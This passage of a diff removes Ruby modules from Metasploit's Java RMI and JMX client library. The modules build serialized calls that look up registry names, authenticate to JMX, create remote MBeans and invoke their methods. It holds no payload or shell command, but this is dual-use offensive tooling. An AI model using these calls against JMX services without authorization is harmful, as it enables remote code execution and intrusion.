raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
|
||||||
end
|
|
||||||
|
|
||||||
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
true
|
|
||||||
end
|
|
||||||
|
|
||||||
# Sends a call to the JMXRMI endpoint to create an MBean instance. Simulates a call
|
|
||||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
|
||||||
# method.
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [Rex::Socket::Tcp] :sock
|
|
||||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
|
||||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
|
||||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_create_mbean
|
|
||||||
def send_jmx_create_mbean(opts = {})
|
|
||||||
send_call(
|
|
||||||
sock: opts[:sock] || sock,
|
|
||||||
call: build_jmx_create_mbean(opts)
|
|
||||||
)
|
|
||||||
|
|
||||||
return_value = recv_return(
|
|
||||||
sock: opts[:sock] || sock
|
|
||||||
)
|
|
||||||
|
|
||||||
if return_value.nil?
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
if return_value.is_exception?
|
|
||||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
|
||||||
end
|
|
||||||
|
|
||||||
unless return_value.get_class_name == 'javax.management.ObjectInstance'
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
true
|
|
||||||
end
|
|
||||||
|
|
||||||
# Sends a call to the JMXRMI endpoint to invoke an MBean method. Simulates a call
|
|
||||||
# to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
|
||||||
# method.
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [Rex::Socket::Tcp] :sock
|
|
||||||
# @return [TrueClass, NilClass] true if success, nil otherwise
|
|
||||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
|
||||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_invoke
|
|
||||||
def send_jmx_invoke(opts = {})
|
|
||||||
send_call(
|
|
||||||
sock: opts[:sock] || sock,
|
|
||||||
call: build_jmx_invoke(opts)
|
|
||||||
)
|
|
||||||
|
|
||||||
return_value = recv_return(
|
|
||||||
sock: opts[:sock] || sock
|
|
||||||
)
|
|
||||||
|
|
||||||
if return_value.nil?
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
if return_value.is_exception?
|
|
||||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
|
||||||
end
|
|
||||||
|
|
||||||
unless return_value.get_class_name == 'java.util.HashSet'
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
true
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,234 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Java
|
|
||||||
module Rmi
|
|
||||||
module Client
|
|
||||||
module Jmx
|
|
||||||
module Connection
|
|
||||||
module Builder
|
|
||||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
|
||||||
# used to retrieve an MBean instance
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [String] :name the MBean name
|
|
||||||
# @return [Rex::Proto::Rmi::Model::Call]
|
|
||||||
# @see Msf::Java::Rmi::Builder.build_call
|
|
||||||
def build_jmx_get_object_instance(opts = {})
|
|
||||||
object_number = opts[:object_number] || 0
|
|
||||||
uid_number = opts[:uid_number] || 0
|
|
||||||
uid_time = opts[:uid_time] || 0
|
|
||||||
uid_count = opts[:uid_count] || 0
|
|
||||||
name = opts[:name] || ''
|
|
||||||
|
|
||||||
arguments = build_jmx_get_object_instance_args(name)
|
|
||||||
|
|
||||||
method_hash = calculate_method_hash('getObjectInstance(Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
|
|
||||||
|
|
||||||
call = build_call(
|
|
||||||
object_number: object_number,
|
|
||||||
uid_number: uid_number,
|
|
||||||
uid_time: uid_time,
|
|
||||||
uid_count: uid_count,
|
|
||||||
operation: -1,
|
|
||||||
hash: method_hash,
|
|
||||||
arguments: arguments
|
|
||||||
)
|
|
||||||
|
|
||||||
call
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds an an array of arguments o build a call to
|
|
||||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#getObjectInstance()
|
|
||||||
#
|
|
||||||
# @param name [String] the MBean name
|
|
||||||
# @return [Array]
|
|
||||||
def build_jmx_get_object_instance_args(name = '')
|
|
||||||
builder = Rex::Java::Serialization::Builder.new
|
|
||||||
|
|
||||||
new_object = builder.new_object(
|
|
||||||
name: 'javax.management.ObjectName',
|
|
||||||
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
|
|
||||||
flags: 3
|
|
||||||
)
|
|
||||||
|
|
||||||
arguments = [
|
|
||||||
new_object,
|
|
||||||
Rex::Java::Serialization::Model::Utf.new(nil, name),
|
|
||||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
|
||||||
Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
]
|
|
||||||
|
|
||||||
arguments
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
|
||||||
# used to retrieve an MBean instance
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [String] :name the MBean name
|
|
||||||
# @return [Rex::Proto::Rmi::Model::Call]
|
|
||||||
# @see Msf::Java::Rmi::Builder.build_call
|
|
||||||
def build_jmx_create_mbean(opts = {})
|
|
||||||
name = opts[:name] || ''
|
|
||||||
object_number = opts[:object_number] || 0
|
|
||||||
uid_number = opts[:uid_number] || 0
|
|
||||||
uid_time = opts[:uid_time] || 0
|
|
||||||
uid_count = opts[:uid_count] || 0
|
|
||||||
|
|
||||||
method_hash = calculate_method_hash('createMBean(Ljava/lang/String;Ljavax/management/ObjectName;Ljavax/security/auth/Subject;)Ljavax/management/ObjectInstance;')
|
|
||||||
|
|
||||||
arguments = build_jmx_create_mbean_args(name)
|
|
||||||
|
|
||||||
call = build_call(
|
|
||||||
object_number: object_number,
|
|
||||||
uid_number: uid_number,
|
|
||||||
uid_time: uid_time,
|
|
||||||
uid_count: uid_count,
|
|
||||||
operation: -1,
|
|
||||||
hash: method_hash,
|
|
||||||
arguments: arguments
|
|
||||||
)
|
|
||||||
|
|
||||||
call
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds an an array of arguments o build a call to
|
|
||||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#createMBean()
|
|
||||||
#
|
|
||||||
# @param name [Hash] the MBean name
|
|
||||||
# @return [Array]
|
|
||||||
def build_jmx_create_mbean_args(name = '')
|
|
||||||
arguments = [
|
|
||||||
Rex::Java::Serialization::Model::Utf.new(nil, name),
|
|
||||||
Rex::Java::Serialization::Model::NullReference.new,
|
|
||||||
Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
]
|
|
||||||
|
|
||||||
arguments
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Builds an RMI call to javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
|
||||||
# used to invoke an MBean method
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [String] :name the MBean name
|
|
||||||
# @return [Rex::Proto::Rmi::Model::Call]
|
|
||||||
# @see Msf::Java::Rmi::Builder.build_call
|
|
||||||
# @see #build_jmx_invoke_args
|
|
||||||
def build_jmx_invoke(opts = {})
|
|
||||||
object_number = opts[:object_number] || 0
|
|
||||||
uid_number = opts[:uid_number] || 0
|
|
||||||
uid_time = opts[:uid_time] || 0
|
|
||||||
uid_count = opts[:uid_count] || 0
|
|
||||||
|
|
||||||
method_hash = calculate_method_hash('invoke(Ljavax/management/ObjectName;Ljava/lang/String;Ljava/rmi/MarshalledObject;[Ljava/lang/String;Ljavax/security/auth/Subject;)Ljava/lang/Object;')
|
|
||||||
|
|
||||||
arguments = build_jmx_invoke_args(opts)
|
|
||||||
|
|
||||||
call = build_call(
|
|
||||||
object_number: object_number,
|
|
||||||
uid_number: uid_number,
|
|
||||||
uid_time: uid_time,
|
|
||||||
uid_count: uid_count,
|
|
||||||
operation: -1,
|
|
||||||
hash: method_hash,
|
|
||||||
arguments: arguments
|
|
||||||
)
|
|
||||||
|
|
||||||
call
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds an an array of arguments o build a call to
|
|
||||||
# javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [String] :object the MBean name
|
|
||||||
# @option opts [String] :method the method name
|
|
||||||
# @option opts [Hash] :args the method arguments
|
|
||||||
# @return [Array]
|
|
||||||
def build_jmx_invoke_args(opts = {})
|
|
||||||
object_name = opts[:object] || ''
|
|
||||||
method_name = opts[:method] || ''
|
|
||||||
args = opts[:args] || {}
|
|
||||||
|
|
||||||
builder = Rex::Java::Serialization::Builder.new
|
|
||||||
|
|
||||||
new_object = builder.new_object(
|
|
||||||
name: 'javax.management.ObjectName',
|
|
||||||
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_NAME_UID, # serialVersionUID
|
|
||||||
flags: 3
|
|
||||||
)
|
|
||||||
|
|
||||||
data_binary = builder.new_array(
|
|
||||||
name: '[B',
|
|
||||||
serial: Msf::Java::Rmi::Client::Jmx::BYTE_ARRAY_UID, # serialVersionUID
|
|
||||||
values_type: 'byte',
|
|
||||||
values: build_invoke_arguments_obj_bytes(args).encode.unpack('C*')
|
|
||||||
)
|
|
||||||
|
|
||||||
marshall_object = builder.new_object(
|
|
||||||
name: 'java.rmi.MarshalledObject',
|
|
||||||
serial: Msf::Java::Rmi::Client::Jmx::MARSHALLED_OBJECT_UID, # serialVersionUID
|
|
||||||
fields: [
|
|
||||||
['int', 'hash'],
|
|
||||||
['array', 'locBytes', '[B'],
|
|
||||||
['array', 'objBytes', '[B']
|
|
||||||
],
|
|
||||||
data: [
|
|
||||||
["int", 1919492550],
|
|
||||||
Rex::Java::Serialization::Model::NullReference.new,
|
|
||||||
data_binary
|
|
||||||
]
|
|
||||||
)
|
|
||||||
|
|
||||||
new_array = builder.new_array(
|
|
||||||
name: '[Ljava.lang.String;',
|
|
||||||
serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
|
|
||||||
values_type: 'java.lang.String;',
|
|
||||||
values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) }
|
|
||||||
)
|
|
||||||
|
|
||||||
arguments = [
|
|
||||||
new_object,
|
|
||||||
Rex::Java::Serialization::Model::Utf.new(nil, object_name),
|
|
||||||
Rex::Java::Serialization::Model::EndBlockData.new,
|
|
||||||
Rex::Java::Serialization::Model::Utf.new(nil, method_name),
|
|
||||||
marshall_object,
|
|
||||||
new_array,
|
|
||||||
Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
]
|
|
||||||
|
|
||||||
arguments
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a Rex::Java::Serialization::Model::Stream with the arguments to
|
|
||||||
# simulate a call to the Java javax/management/remote/rmi/RMIConnectionImpl_Stub#invoke()
|
|
||||||
# method.
|
|
||||||
#
|
|
||||||
# @param args [Hash] the arguments of the method to invoke
|
|
||||||
# @return [Rex::Java::Serialization::Model::Stream]
|
|
||||||
def build_invoke_arguments_obj_bytes(args = {})
|
|
||||||
builder = Rex::Java::Serialization::Builder.new
|
|
||||||
|
|
||||||
new_array = builder.new_array(
|
|
||||||
name: '[Ljava.lang.Object;',
|
|
||||||
serial: Msf::Java::Rmi::Client::Jmx::OBJECT_ARRAY_UID, # serialVersionUID
|
|
||||||
annotations: [Rex::Java::Serialization::Model::EndBlockData.new],
|
|
||||||
values_type: 'java.lang.Object;',
|
|
||||||
values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) }
|
|
||||||
)
|
|
||||||
|
|
||||||
stream = Rex::Java::Serialization::Model::Stream.new
|
|
||||||
stream.contents << new_array
|
|
||||||
|
|
||||||
stream
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,57 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Java
|
|
||||||
module Rmi
|
|
||||||
module Client
|
|
||||||
module Jmx
|
|
||||||
module Server
|
|
||||||
require 'msf/java/rmi/client/jmx/server/builder'
|
|
||||||
require 'msf/java/rmi/client/jmx/server/parser'
|
|
||||||
|
|
||||||
include Msf::Java::Rmi::Client::Jmx::Server::Builder
|
|
||||||
include Msf::Java::Rmi::Client::Jmx::Server::Parser
|
|
||||||
|
|
||||||
# Sends a call to the JMXRMI endpoint to retrieve an MBean instance. Simulates a call
|
|
||||||
# to the Java javax/management/remote/rmi/RMIServer_Stub#newClient()
|
|
||||||
# method.
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [Rex::Socket::Tcp] :sock
|
|
||||||
# @return [Hash, NilClass] The connection information if success, nil otherwise
|
|
||||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
|
||||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_jmx_new_client
|
|
||||||
def send_new_client(opts = {})
|
|
||||||
send_call(
|
|
||||||
sock: opts[:sock] || sock,
|
|
||||||
call: build_jmx_new_client(opts)
|
|
||||||
)
|
|
||||||
|
|
||||||
return_value = recv_return(
|
|
||||||
sock: opts[:sock] || sock
|
|
||||||
)
|
|
||||||
|
|
||||||
if return_value.nil?
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
if return_value.is_exception?
|
|
||||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
|
||||||
end
|
|
||||||
|
|
||||||
remote_object = return_value.get_class_name
|
|
||||||
|
|
||||||
unless remote_object && remote_object == 'javax.management.remote.rmi.RMIConnectionImpl_Stub'
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
reference = parse_jmx_new_client_endpoint(return_value)
|
|
||||||
|
|
||||||
reference
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,73 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Java
|
|
||||||
module Rmi
|
|
||||||
module Client
|
|
||||||
module Jmx
|
|
||||||
module Server
|
|
||||||
module Builder
|
|
||||||
|
|
||||||
# Builds an RMI call to javax/management/remote/rmi/RMIServer_Stub#newClient()
|
|
||||||
# used to enumerate the names bound in a registry
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [String] :username the JMX role to establish the connection if needed
|
|
||||||
# @option opts [String] :password the JMX password to establish the connection if needed
|
|
||||||
# @return [Rex::Proto::Rmi::Model::Call]
|
|
||||||
# @see Msf::Java::Rmi::Builder.build_call
|
|
||||||
def build_jmx_new_client(opts = {})
|
|
||||||
object_number = opts[:object_number] || 0
|
|
||||||
uid_number = opts[:uid_number] || 0
|
|
||||||
uid_time = opts[:uid_time] || 0
|
|
||||||
uid_count = opts[:uid_count] || 0
|
|
||||||
username = opts[:username]
|
|
||||||
password = opts[:password] || ''
|
|
||||||
|
|
||||||
if username
|
|
||||||
arguments = build_jmx_new_client_args(username, password)
|
|
||||||
else
|
|
||||||
arguments = [Rex::Java::Serialization::Model::NullReference.new]
|
|
||||||
end
|
|
||||||
|
|
||||||
call = build_call(
|
|
||||||
object_number: object_number,
|
|
||||||
uid_number: uid_number,
|
|
||||||
uid_time: uid_time,
|
|
||||||
uid_count: uid_count,
|
|
||||||
operation: -1,
|
|
||||||
hash: -1089742558549201240, # javax.management.remote.rmi.RMIServer.newClient
|
|
||||||
arguments: arguments
|
|
||||||
)
|
|
||||||
|
|
||||||
call
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds a Rex::Java::Serialization::Model::NewArray with credentials
|
|
||||||
# to make an javax/management/remote/rmi/RMIServer_Stub#newClient call
|
|
||||||
#
|
|
||||||
# @param username [String] The username (role) to authenticate with
|
|
||||||
# @param password [String] The password to authenticate with
|
|
||||||
# @return [Array<Rex::Java::Serialization::Model::NewArray>]
|
|
||||||
def build_jmx_new_client_args(username = '', password = '')
|
|
||||||
builder = Rex::Java::Serialization::Builder.new
|
|
||||||
|
|
||||||
auth_array = builder.new_array(
|
|
||||||
name: '[Ljava.lang.String;',
|
|
||||||
serial: Msf::Java::Rmi::Client::Jmx::STRING_ARRAY_UID, # serialVersionUID
|
|
||||||
values_type: 'java.lang.String;',
|
|
||||||
values: [
|
|
||||||
Rex::Java::Serialization::Model::Utf.new(nil, username),
|
|
||||||
Rex::Java::Serialization::Model::Utf.new(nil, password)
|
|
||||||
]
|
|
||||||
)
|
|
||||||
|
|
||||||
[auth_array]
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,35 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Java
|
|
||||||
module Rmi
|
|
||||||
module Client
|
|
||||||
module Jmx
|
|
||||||
module Server
|
|
||||||
module Parser
|
|
||||||
# Parses a javax/management/remote/rmi/RMIServer_Stub#newClient() return value
|
|
||||||
# to find out the remote reference information.
|
|
||||||
#
|
|
||||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
|
||||||
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
|
||||||
def parse_jmx_new_client_endpoint(return_value)
|
|
||||||
values_size = return_value.value.length
|
|
||||||
end_point_block_data = return_value.value[values_size - 2]
|
|
||||||
|
|
||||||
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
return_io = StringIO.new(end_point_block_data.contents, 'rb')
|
|
||||||
|
|
||||||
reference = extract_reference(return_io)
|
|
||||||
|
|
||||||
reference
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,129 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Java
|
|
||||||
module Rmi
|
|
||||||
module Client
|
|
||||||
# This mixin provides methods to simulate calls to the Java java/rmi/registry/RegistryImpl_Stub
|
|
||||||
# interface
|
|
||||||
module Registry
|
|
||||||
require 'msf/java/rmi/client/registry/builder'
|
|
||||||
require 'msf/java/rmi/client/registry/parser'
|
|
||||||
|
|
||||||
include Msf::Java::Rmi::Client::Registry::Builder
|
|
||||||
include Msf::Java::Rmi::Client::Registry::Parser
|
|
||||||
|
|
||||||
# Sends a Registry lookup call to the RMI endpoint. Simulates a call to the Java
|
|
||||||
# java/rmi/registry/RegistryImpl_Stub#lookup() method.
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [Rex::Socket::Tcp] :sock
|
|
||||||
# @return [Hash, NilClass] The remote reference information if success, nil otherwise
|
|
||||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
|
||||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_lookup
|
|
||||||
def send_registry_lookup(opts = {})
|
|
||||||
send_call(
|
|
||||||
sock: opts[:sock] || sock,
|
|
||||||
call: build_registry_lookup(opts)
|
|
||||||
)
|
|
||||||
|
|
||||||
return_value = recv_return(
|
|
||||||
sock: opts[:sock] || sock
|
|
||||||
)
|
|
||||||
|
|
||||||
if return_value.nil?
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
if return_value.is_exception?
|
|
||||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
|
||||||
end
|
|
||||||
|
|
||||||
remote_object = return_value.get_class_name
|
|
||||||
|
|
||||||
if remote_object.nil?
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
remote_location = parse_registry_lookup_endpoint(return_value)
|
|
||||||
|
|
||||||
if remote_location.nil?
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
remote_location.merge(object: remote_object)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Sends a Registry list call to the RMI endpoint. Simulates a call to the Java
|
|
||||||
# java/rmi/registry/RegistryImpl_Stub#list() method
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [Rex::Socket::Tcp] :sock
|
|
||||||
# @return [Array, NilClass] The set of names if success, nil otherwise
|
|
||||||
# @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception
|
|
||||||
# @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_list
|
|
||||||
def send_registry_list(opts = {})
|
|
||||||
send_call(
|
|
||||||
sock: opts[:sock] || sock,
|
|
||||||
call: build_registry_list(opts)
|
|
||||||
)
|
|
||||||
|
|
||||||
return_value = recv_return(
|
|
||||||
sock: opts[:sock] || sock
|
|
||||||
)
|
|
||||||
|
|
||||||
if return_value.nil?
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
if return_value.is_exception?
|
|
||||||
raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name
|
|
||||||
end
|
|
||||||
|
|
||||||
names = parse_registry_list(return_value)
|
|
||||||
|
|
||||||
names
|
|
||||||
end
|
|
||||||
|
|
||||||
# Calculates the hash to make RMI calls for the
|
|
||||||
# java/rmi/registry/RegistryImpl_Stub interface
|
|
||||||
#
|
|
||||||
# @return [Fixnum] The interface's hash
|
|
||||||
def registry_interface_hash
|
|
||||||
hash = calculate_interface_hash(
|
|
||||||
[
|
|
||||||
{
|
|
||||||
name: 'bind',
|
|
||||||
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
|
|
||||||
exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException']
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: 'list',
|
|
||||||
descriptor: '()[Ljava/lang/String;',
|
|
||||||
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: 'lookup',
|
|
||||||
descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;',
|
|
||||||
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: 'rebind',
|
|
||||||
descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V',
|
|
||||||
exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException']
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: 'unbind',
|
|
||||||
descriptor: '(Ljava/lang/String;)V',
|
|
||||||
exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException']
|
|
||||||
}
|
|
||||||
]
|
|
||||||
)
|
|
||||||
|
|
||||||
hash
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,66 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Java
|
|
||||||
module Rmi
|
|
||||||
module Client
|
|
||||||
module Registry
|
|
||||||
module Builder
|
|
||||||
|
|
||||||
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to
|
|
||||||
# retrieve the remote reference bound to a name.
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @option opts [String] :name the name to lookup
|
|
||||||
# @return [Rex::Proto::Rmi::Model::Call]
|
|
||||||
# @see Msf::Java::Rmi::Builder.build_call
|
|
||||||
def build_registry_lookup(opts = {})
|
|
||||||
object_number = opts[:object_number] || 0
|
|
||||||
uid_number = opts[:uid_number] || 0
|
|
||||||
uid_time = opts[:uid_time] || 0
|
|
||||||
uid_count = opts[:uid_count] || 0
|
|
||||||
name = opts[:name] || ''
|
|
||||||
|
|
||||||
call = build_call(
|
|
||||||
object_number: object_number,
|
|
||||||
uid_number: uid_number,
|
|
||||||
uid_time: uid_time,
|
|
||||||
uid_count: uid_count,
|
|
||||||
operation: 2, # java.rmi.Remote lookup(java.lang.String)
|
|
||||||
hash: registry_interface_hash,
|
|
||||||
arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)]
|
|
||||||
)
|
|
||||||
|
|
||||||
call
|
|
||||||
end
|
|
||||||
|
|
||||||
# Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to
|
|
||||||
# enumerate the names bound in a registry
|
|
||||||
#
|
|
||||||
# @param opts [Hash]
|
|
||||||
# @return [Rex::Proto::Rmi::Model::Call]
|
|
||||||
# @see Msf::Java::Rmi::Builder.build_call
|
|
||||||
def build_registry_list(opts = {})
|
|
||||||
object_number = opts[:object_number] || 0
|
|
||||||
uid_number = opts[:uid_number] || 0
|
|
||||||
uid_time = opts[:uid_time] || 0
|
|
||||||
uid_count = opts[:uid_count] || 0
|
|
||||||
|
|
||||||
call = build_call(
|
|
||||||
object_number: object_number,
|
|
||||||
uid_number: uid_number,
|
|
||||||
uid_time: uid_time,
|
|
||||||
uid_count: uid_count,
|
|
||||||
operation: 1, # java.lang.String list()[]
|
|
||||||
hash: registry_interface_hash,
|
|
||||||
arguments: []
|
|
||||||
)
|
|
||||||
|
|
||||||
call
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,49 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Java
|
|
||||||
module Rmi
|
|
||||||
module Client
|
|
||||||
module Registry
|
|
||||||
module Parser
|
|
||||||
# Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out
|
|
||||||
# the remote reference information.
|
|
||||||
#
|
|
||||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
|
||||||
# @return [Hash, NilClass] The remote interface information if success, nil otherwise
|
|
||||||
def parse_registry_lookup_endpoint(return_value)
|
|
||||||
values_size = return_value.value.length
|
|
||||||
end_point_block_data = return_value.value[values_size - 2]
|
|
||||||
unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData)
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
return_io = StringIO.new(end_point_block_data.contents, 'rb')
|
|
||||||
|
|
||||||
reference = extract_reference(return_io)
|
|
||||||
|
|
||||||
reference
|
|
||||||
end
|
|
||||||
|
|
||||||
# Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out
|
|
||||||
# the list of names registered.
|
|
||||||
#
|
|
||||||
# @param return_value [Rex::Java::Serialization::Model::ReturnValue]
|
|
||||||
# @return [Array, NilClass] The list of names registered if success, nil otherwise
|
|
||||||
def parse_registry_list(return_value)
|
|
||||||
unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
unless return_value.value[0].type == 'java.lang.String;'
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
return_value.value[0].values.collect { |val| val.contents }
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,122 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
require 'rex/java/serialization'
|
|
||||||
require 'rex/text'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
module Java
|
|
||||||
module Rmi
|
|
||||||
module Util
|
|
||||||
# Calculates a method hash to make RMI calls as defined by the JDK 1.2
|
|
||||||
#
|
|
||||||
# @param signature [String] The remote method signature as specified by the JDK 1.2,
|
|
||||||
# method name + method descriptor (as explained in the Java Virtual Machine Specification)
|
|
||||||
# @return [Fixnum] The method hash
|
|
||||||
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated
|
|
||||||
def calculate_method_hash(signature)
|
|
||||||
utf = Rex::Java::Serialization::Model::Utf.new(nil, signature)
|
|
||||||
sha1 = Rex::Text.sha1_raw(utf.encode)
|
|
||||||
|
|
||||||
sha1.unpack('Q<')[0]
|
|
||||||
end
|
|
||||||
|
|
||||||
# Calculates an interface hash to make RMI calls as defined by the JDK 1.1
|
|
||||||
#
|
|
||||||
# @param methods [Array] set of method names and their descriptors
|
|
||||||
# @return [Fixnum] The interface hash
|
|
||||||
# @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated
|
|
||||||
def calculate_interface_hash(methods)
|
|
||||||
stream = ''
|
|
||||||
stream << [1].pack('N') # stub version number
|
|
||||||
|
|
||||||
methods.each do |m|
|
|
||||||
utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name])
